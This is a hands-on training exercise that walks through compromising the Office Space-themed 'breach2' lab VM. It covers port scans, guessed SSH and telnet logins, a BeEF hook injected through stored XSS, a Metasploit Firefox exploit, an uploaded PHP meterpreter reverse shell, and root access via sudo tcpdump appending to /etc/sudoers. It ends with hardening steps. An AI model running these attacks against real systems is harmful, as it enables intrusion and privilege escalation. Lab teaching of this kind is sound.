Exercise: Web Security

We'll have multiple exercises where you'll learn about web application attacks - this is one of them.

Steps

1. This VM is themed after Office Space. While `breach2` is set to `10.23.58.61` in your `/etc/hosts` file, we'll be addressing it by its IP address because of the way its webserver is configured.

2. On your Kali system, start up a terminal by hitting `Alt-F2`, then typing `lxterminal` and hitting the `enter` key.

3. Let's do a TCP port scan of the `10.23.58.61` virtual machine using `nmap`. We'll use `-sS` to get a TCP SYN scan, `-sV` to have nmap try to identify software names and versions, and `-p-` to scan all 65,536 ports, rather than the default top 1,000 ports.

   ```
   nmap -sT -sV -p- 10.23.58.61
   ```

4. You'll find an SSH server listening on port 65,535, as well as some NFS-related services on two other ports. Let's try to login as `root`, with the password `root`, just in case. Our main purpose here is to see if there's any useful information from the banner, but we might get lucky and guess a password. Try a few other passwords if you like.

   ```
   ssh -p 65535 root@10.23.58.61
   root
   ```

5. This virtual machine's banner claims the machine is somehow related to Peter Gibbons' fictional employer in Office Space, Initech. It also gives us a banner with a couple nice hints. The first hint tells us that Peter's password is in the source. After quite a bit of guessing, we eventually will try the password `inthesource` for the user `peter`:

   ```
   ssh -p 65535 peter@10.23.58.61
   inthesource
   ```

6. So you got to login, but basically were kicked right back out before you could type a single command. We'll figure out why later, but, for now, let's portscan the machine to see if anything's changed.

```
nmap -sT -sV -p- 10.23.58.61
```

7. This virtual machine has neat features, in that logging in as peter has opened a new port – you'll notice port 80 is now available to us. Fire up a browser and go check it out!

   http://10.23.58.61:80/

8. You can explore this site, but there doesn't seem to be anything useful here in terms of vulnerabilities in pages we see. The Beef slogan on this page isn't just a registered trademark of the Cattlemen's Beef Board, it's also a hint we'll use later.

9. This is where we get to the other hint in the SSH banner. We've heard about Peter's blog. Let's look for one on /blog. (If you didn't guess that URL, feel free to use dirbuster to find it very quickly.)

   http://10.23.58.61/blog

10. This blog turns out to be running on some very old software. Note the Copyright notice at the bottom of this page.

11. Switch back to a terminal window and use searchsploit to find an exploit for BlogPHP.

    ```
    searchsploit blogphp
    ```

12. Searchsplot finds six different exploits in our Kali machine's local cache of <ExploitDB.com>. Switch directories to this cache, so we can review a couple options:

    ```
    cd /usr/share/exploitdb
    ```

13. Read one or more of the exploits from the options that Searchsploit has given you. Then read the one we'll use:

    ```
    less exploits/php/webapps/17640.txt
    ```

14. Not all exploits are programs you run against systems. In this case, the text file just tells us that there's a persistent cross-site scripting (XSS) vulnerability in the Username field of the registration page. If we put HTML or JavaScript in our username field, anyone listing the site's registered users will execute that HTML or JavaScript in their browser.

15. Get ready to try the Browser Exploitation Framework, or "BeEF." It's the go-to tool for attacking a browser that runs your JavaScript, whether by XSS or by social engineering. To start, use mousepad to set a non-default password for BeEF.

    ```
    mousepad /etc/beef-xss/config.yaml
    ```

16. Find the line that reads db_passwd: `beef` and change it to something else, like `chicken` - make a note of your change.

17. Now save and quit, using `Control-S` and `Control-Q`.

18. Now, start BeEF by clicking the bottom left icon on the screen to pull up a menu, then choosing "13 - Social Engineering Tools," then "beef xss framework."

19. When it finishes starting, note that it says you can find a user interface on http://127.0.0.1:3000/ui/panel and that you can "hook" browsers into BeEF by getting those browsers to execute this JavaScript code:

    ```
    <script src=http://10.23.58.30:3000/hook.js></script>
    ```

20. You'll get an Error pop-up box from your browser trying to automatically open the BeEF UI - please click OK to ignore it.

21. Open a new window or tab in your browser and connect to BeEF's UI panel:

    http://127.0.0.1:3000/ui/panel

22. After you've logged in to this panel, get ready to attack the persistent cross-site scripting flag in Peter's blog. Open up another browser window/tab and surf to the registration page on Peter's blog:

    http://10.23.58.61/blog/register.html

23. For the username, enter the BeEF hook script - if you have to do this a few times, you can modify this by putting names in between the opening and closing

    "'

24. For the password, use password. For the e-mail address, use the reserved example.com domain:

    ```
    password
    peter@example.com
    ```

25. Click the Register button and get ready to hook a browser. To keep things simpler, please do not browse this blog's Members page yourself until after we complete the exercise.

26. Switch back to the BeEF user interface. You're waiting for a browser to show up in the left hand column, under "Online Browsers." Via a clever pair of cronjobs, Peter's Firefox browser will surf the Members page every five minutes and will exit after four minutes. This will put you in a bit of a race, but you can hook their browser more than once.

27. When Peter's browser shows up in the list of Online Browsers, it will have a Firefox icon next to it, as well as a Linux penguin icon. Click on the line to interact with this hooked browser.

28. You'll see that Peter is running a particularly old version of Firefox, version 15.0.0. In a terminal, use searchsploit to see if you have an exploit for

that version. Note: While we're doing this, we're very likely to lose Peter's browser, but don't worry - he'll be back.

```
searchsploit Firefox | grep Metasploit
```

29. Conveniently, there's an exploit for Firefox versions up to 15.0.1. Here's the file you can read:

    ```
    less /usr/share/exploitdb/exploits/multiple/local/30474.rb
    ```

30. Let's set this exploit up. We'll use BeEF to redirect Peter's browser to it. Fire up Metasploit, where we'll set up that exploit.

    ```
    msfconsole
    ```

31. Search for Metasploit's name for this exploit by typing:

    ```
    search exposedProps
    ```

32. You've found it - now tell Metasploit you'd like to use that exploit - this is a great time to try out tab-completion:

    ```
    use exploit/multi/browser/firefox_proto_crmfrequest
    ```

33. Type info to read the exploit on screen.

    ```
    info
    ```

34. Now set the relevant options. Let's see what they are:

    ```
    show options
    ```

35. Set the PATH part of the URI that we'll redirect Peter's browser to:

    ```
    set URIPATH /
    ```

36. Set the host IP part of the URI - this is the IP address that this exploit will be served on.

    ```
    set SRVHOST 10.23.58.30
    ```

37. Set the LHOST variable that the exploit's payload will connect back to us on.

    ```
    setg LHOST 10.23.58.30
    ```

38. Start the exploit by typing:

    ```
    exploit -j
    ```

39. The exploit begins running on the URL we've constructed. Copy this from the "Using URL line:"

    http://10.23.58.30:8080/

40. Now switch back to your browser, where you have the BeEF tab waiting for Peter's Firefox browser to show up in the "Online Browsers" list. If Peter's browser is in or moves to the "Offline Browsers" list, just click on

it there and do the steps below. The redirect you configure will be queued up for Peter when their browser goes online.

41. Click the Current Browser tab.
42. Click the Commands tab below that.
43. Under the words "Module Tree," there's a little white window in which you can search for modules. Search for "redirect"

    ```
    redirect
    ```

44. Click the "Redirect Browser" module, which will show up in the tree below "Hooked Domain."
45. Paste the exploit URL into the "Redirect URL" field, in the right-most pane of this interface.

    http://10.23.58.30:8080/

46. Send Peter's browser to this URL by clicking "Execute."
47. Switch back to your Metasploit terminal window, where you should now wait to see a series of messages from the running exploit, ending in "[*] Command shell session..." When you see this line, interact with the session, replacing 1 with its number:

    ```
    sessions -i 1
    ```

48. See what user you've caught by running id:

    ```
    id
    ```

49. Check your current directory:

    ```
    pwd
    ```

50. Take a look at why Peter's account logs out as soon as you log in with it – there's a strange "ForceCommand" in the /etc/ssh/sshd_config file:

    ```
    tail /etc/ssh/sshd_config
    ```

51. Let's take a look at the startme command it runs - this must be what started the web server once we logged in as peter:

    ```
    less /usr/bin/startme
    ```

52. Now let's defeat that ForceCommand by making the shell it uses execute another shell before it has a chance to execute the startme.

    ```
    echo "exec /bin/sh" >.bashrc
    ```

    Note:

    At any point during the next few steps, you might lose your connection to Peter's browser. Their browser is closed roughly every 5 minutes. If this

happens, move back over the BeEF window and click Execute again, then wait in the Metasploit console for a new session.

53. Now, leave this Metasploit window by starting a new tab or window. In this window, try logging in as peter with SSH.

    ```
    ssh -p 65535 peter@10.23.58.61
    inthesource
    ```

54. Take a look at the other users on the system by reviewing the /etc/passwd file.

    ```
    cat /etc/passwd
    ```

55. Note that there are both milton and blumbergh (Bob Lumbergh) users on this system. Lumbergh has `/bin/false` for a shell, so we're likely to be logging in as milton at some point.

56. Take a look at `/usr/local/bin/cd.py` - it looks like there's an Office Space-type theme here:

    ```
    less /usr/local/bin/cd.py
    ```

57. Note that the script asks the question "Whose stapler is it?" and then kills off whatever shell (parent process) ran it unless the answer is "mine".

58. Run a netstat command to see if any new ports are exposed or if any are available only via loopback/localhost:

    ```
    netstat -vantp
    ```

59. Note that there's a port 2323 in this list. Telnet servers generally run on tcp/23, so this suggests telnet. Try connecting to it:

    ```
    telnet 127.0.0.1 2323
    ```

60. We're going to want to try to login as `milton`, since he's the only user with a shell, besides Peter, whose access we already have. Observe the hint that the banner gives - they're GPS coordinates. Perform a Google maps search on those coordinates or just click this link to do the same:

    https://www.google.com/maps?q=29+45%2746%22+N+95+22%2759%22+W

61. Note that Google Maps tells you that these coordinates are in Houston, TX.

62. Login on telnet with the username milton and password Houston. You might have to restart the telnet session if it timed out while you were running your GPS coordinate search:

    ```
    telnet 127.0.0.1 2323
    milton
    Houston
    ```

63. Watch the countdown. When it completes, you'll see the question about the stapler. Answer mine:

    `mine`

64. Run sudo -l (lowecase L for list) to find out if milton is allowed to use sudo for any commands:

    `sudo -l`

65. There's something strange about this situation. Check sudo's path:

    `which sudo`

66. Run sudo -l (lowecase L for list) again, but using the full pathname for the sudo binary this time:

    `/usr/bin/sudo -l`

67. OK - it looks like milton can run nginx's start script as root. Let's see if logging in as them started any new nginx web servers:

    `netstat -vantp`

68. Observe that there's a new port open to the world: tcp/8888. Point your browser to it:

    http://10.23.58.61:8888/

69. Interesting - there's a 3 year old OSCommerce deployment waiting for us - click on oscommerce or on this link:

    http://10.23.58.61:8888/oscommerce/

70. We see that someone's set up a Flair Store where we can buy a Pro PHP Security book, among other things. Let's check for an admin interface:

    http://10.23.58.61:8888/oscommerce/admin/

71. Try the default credentials for OSCommerce (name=`admin`, password=`admin`)

72. This application is written in PHP, so we may be able to add our own PHP code to it. Click "Tools," then "File Manager".

73. We need a folder to which the OSCommerce application's user can write. Unfortunately for us, OSCommerce isn't running as root and the root user owns the files and directories in this application. Note that most of the directories and files that you can see are owned by root and don't allow non-root users to write to them.

74. Go looking for a world-writable directory where we could insert code. Click the "includes" folder, then look at the permissions "drwxrwxrwx" on the "work" folder's line.

75. Switch back to a terminal window and use it to create a PHP-based Meterpreter that will connect back to your machine:

    ```
    msfvenom -p php/meterpreter/reverse_tcp LHOST=10.23.58.30 LPORT=999 -o /home/lockthisdo
    ```

76. Now switch to your Metasploit console terminal window and set up the "multi/handler" module:

    ```
    use exploit/multi/handler
    ```

77. Set the PAYLOAD variable to the same value we used in msfvenom's -p (payload) option:

    ```
    set PAYLOAD php/meterpreter/reverse_tcp
    ```

78. Set your LHOST variable if necessary (you won't need to set it if you're in the same Metasploit session you used for the last exploit):

    ```
    setg LHOST 10.23.58.30
    ```

79. Set the LPORT to a number on which you're sure you've got nothing else listening:

    ```
    set LPORT 999
    ```

80. Start the handler module:

    ```
    exploit -j
    ```

81. Switch back to your browser, so you can upload the meterpreter.php file to OSCommerce.

82. In the file manager, you're uploading into the application includes/work. Click the green "Upload" button.

83. Click one of the Browse buttons, so we can add `/home/lockthisdown/meterpreter.php` to this site.

84. Navigate to the `/home/lockthisdown` directory and click on `meterpreter.php`.

85. Click the Upload button that's below all of the Browse buttons.

86. Now execute the PHP meterpreter by surfing to this link:

    http://10.23.58.61:8888/oscommerce/includes/work/meterpreter.php

87. Switch back to the Metasploit console terminal window. Wait for the line `[*] Meterpreter session ...`

88. Note the session number. Substitute it in for 2 in this command:

    ```
    sessions -i 2
    ```

89. Type shell. If you get an "unknown command" message, type shell again until you no longer get that message.

```
shell
```

90. Find out what user OSCommerce was running via:

    ```
    id
    ```

91. Find out what directory is this user's home directory

    ```
    grep blum /etc/passwd
    ```

92. Find out what programs this user can run via sudo, using the lowercase L for list:

    ```
    sudo -l
    ```

93. Wow - this user (`blumbergh`) is able to run tcpdump as root, without a password.

94. Tcpdump is one of a number of commands that aren't very safe to sudo or mark Set-UID, as it can be made to run other programs. Let's create a shell script for it to run which will give peter unlimited privileges.

    ```
    cat <<END >/home/bill/getroot.sh
    echo "peter ALL=(ALL) NOPASSWD:ALL" >>/etc/sudoers
    END
    ```

95. Now make this script executable:

    ```
    chmod ugo+rx /home/bill/getroot.sh
    ```

96. Now, let's tell tcpdump to capture network traffic to a dump file called /tmp/foo, rotating the dump file every 1 second, keeping only 1 dump file, and using the program /home/bill/getroot.sh

    ```
    sudo tcpdump -i eth0 -w /tmp/foo -W 1 -G 1 -z  /home/bill/getroot.sh
    ```

97. Now, start up a new terminal and ssh into this system as peter:

    ```
    ssh -p 65535 peter@10.23.58.61
    inthesource
    ```

98. Try sudo su!

    ```
    sudo su -
    ```

99. Take a look in root's home directory:

    ```
    ls -lart
    ```

{% comment %} NOTE: A quirk in the Markdown rendering means that three digit numbers (>= 100) for numbered lists need to have their hanging blocks (code / link) indented by at least 5 spaces instead of 4, so for here, we use 2 tabs (8 spaces) for consistency. {% endcomment %}

100. It looks like there's a flag for us.

     ```
     python .flag.py
     ```

101. You can defend this virtual machine with a number of methods. The simplest one would be to change the sudoers file to prevent blumbergh from running tcpdump as root. He should only be able to start and stop tcpdump, the way that milton can do with nginx. As a bonus, do this later.

102. Let's harden the OSCommerce application with a PHP language tweak. We'll add values to the disable_functions variable in the relevant php.ini file. Let's edit that file now.

    ```
    nano /etc/php5/fpm/php.ini
    ```

103. Scroll down until you find the line that starts with disable_functions. Add these functions to the end of the line:

    ```
    exec,system,shell_exec,passthru,proc_open
    ```

104. Confirm that the end of your `disable_functions` line looks like this:

    ```
    ,pcntl_exec,pcntl_getpriority,pcntl_setpriority,exec,system,shell_exec,passthru,proc_op
    ```

105. Exit nano by hitting `Ctrl-X`, then `Y`, then the `Enter` key.

106. Restart the PHP interpreter pool:

    ```
    systemctl restart php5-fpm.service
    ```

107. Switch back to your Metasploit console window. If you aren't at this prompt, hit exit:

    ```
    msf5 exploit(multi/handler) >
    ```

108. From this prompt, type exploit to start the multi handler running again:

    ```
    exploit
    ```

109. Switch back to your browser and trigger the meterpreter.php page again:

    http://10.23.58.61:8888/oscommerce/includes/work/meterpreter.php

110. Switch back to the Metasploit console and wait for the new Meterpreter to fully connect. Once it has, try to get a shell.

    ```
    shell
    ```

111. This will fail, blocked by our PHP function deactivation. Some Meterpreter functions will work, but nothing that requires us to execute a program.

112. We could also protect the application from persistent cross-site scripting using ModSecurity. We're going to cover this in the next section and in the next exercise. As a bonus, deploy ModSecurity to protect Peter's blog.

113. Change your Slack status to `:thumbsup:`.

114. Suspend the virtual machines:

```shell
sudo /scripts/suspend-all-vms.sh
```